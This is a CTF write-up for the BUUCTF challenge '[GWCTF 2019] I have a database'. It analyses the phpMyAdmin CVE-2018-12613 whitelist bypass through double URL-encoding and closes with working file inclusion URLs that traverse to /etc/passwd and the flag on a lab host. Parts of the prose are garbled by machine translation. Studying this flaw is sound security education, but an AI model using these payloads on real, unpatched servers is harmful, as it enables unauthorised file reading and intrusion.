BUUCTF_Web_[GWCTF 2019] I have a database

Posted by anupam_28 on Mon, 20 Dec 2021 03:50:25 +0100

BUUCTF_Web_[GWCTF 2019] I have a database

This question examines the vulnerability contained in the cve-2018-12613-PhpMyadmin background file*

Vulnerability analysis

PhpMyAdmin is a MySQL database management tool based on PHP and built on the website host in the form of Web base, which allows managers to manage MySQL database with Web interface. Therefore, the Web interface can become a simple way to input complex SQL syntax, especially to deal with the import and export of a large amount of data. One of the greater advantages is that phpMyAdmin runs on the Web server like other PHP programs, but you can use the HTML pages generated by these programs anywhere, that is, manage the MySQL database remotely to facilitate the creation, modification and deletion of databases and tables. PhpMyAdmin can also be used to establish common PHP syntax to facilitate the correctness of SQL syntax required when writing Web pages.

Impact version

phpMyAdmin 4.8.0 and 4.8 one

Vulnerability principle

First, in index PHP 50-63 lines of code

$target_blacklist = array (
    'import.php', 'export.php'
);

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

It will be included after five conditions are met$_ Content of request ['target ']

  • $_ REQUEST['target '] is not empty
  • $_ REQUEST['target '] is a string
  • $_ REQUEST['target '] does not start with index
  • $_ REQUEST['target '] is not in $target_ In blacklist
    'import.php', 'export.php'
  • Core::checkPageValidity($_REQUEST['target ']) is true
    The code is in libraries \ classes \ core PHP lines 443-476
public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

$whitelist does not pass parameters at first, so it will be assigned self::$goto_whitelist

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
);

If $page is in the white list, it will directly return true. However, considering the possible parameters, we have the following judgment

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;

mb_strpos ( string $haystack , string $needle [, int $offset = 0 [, string $encoding = mb_internal_encoding() ]] ) : int

Finds the first occurrence of a string in a string. Performs a multi byte secure strpos() operation based on the number of characters. The position of the first character is 0, the position of the second character is 1, and so on.

$_ Page is the thing before the $page question mark. Considering that the target has parameters, as long as$_ If page is on the white list, return true directly
However, the url encoding is also considered, so if the judgment in this step is not successful, the next step is url decoding

        $_page = urldecode($page);

        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

Therefore, the content after the secondary encoding is passed in will make the function checkPageValidity() return true, but the content actually contained in the index is not the file in the white list
For example, incoming? target=db_datadict.php%253f
Since the server will automatically decode once, in checkPageValidity(), p a g e of value one open beginning meeting yes ' d b d a t a d i c t . p h p but stay i n d e x . p h p in ' The value of page will start with ` db_datadict.php%3f `, the url is decoded again and becomes ` db '_ datadict. php?`, This time it meets the requirements` Before the content is required in the white list, the function returns true, but in index PHP` The value of page will start with 'dbd · atadict PHP, but in index 'in PHP_ REQUEST ['target'] is still db_datadict.php%3f `, and will be included. Through directory traversal, any file can be included.

The problem with this problem is that the urldecode($page) method has a secondary encoding bypass

$_page = urldecode($page);
%25 of url Code as%
%3f of url Code as?
%253f-->?

payLoad:
Here, the target parameter can be used as long as it is not a php file in the blacklist

http://8621f981-8a23-4c89-b709-9391463bac26.node4.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%253f../../../../../../etc/passwd

flag should be located in the root directory of the system

http://8621f981-8a23-4c89-b709-9391463bac26.node4.buuoj.cn/phpmyadmin/index.php?target=db_datadict.php%253f../../../../../../flag

Topics: Web Development BUUCTF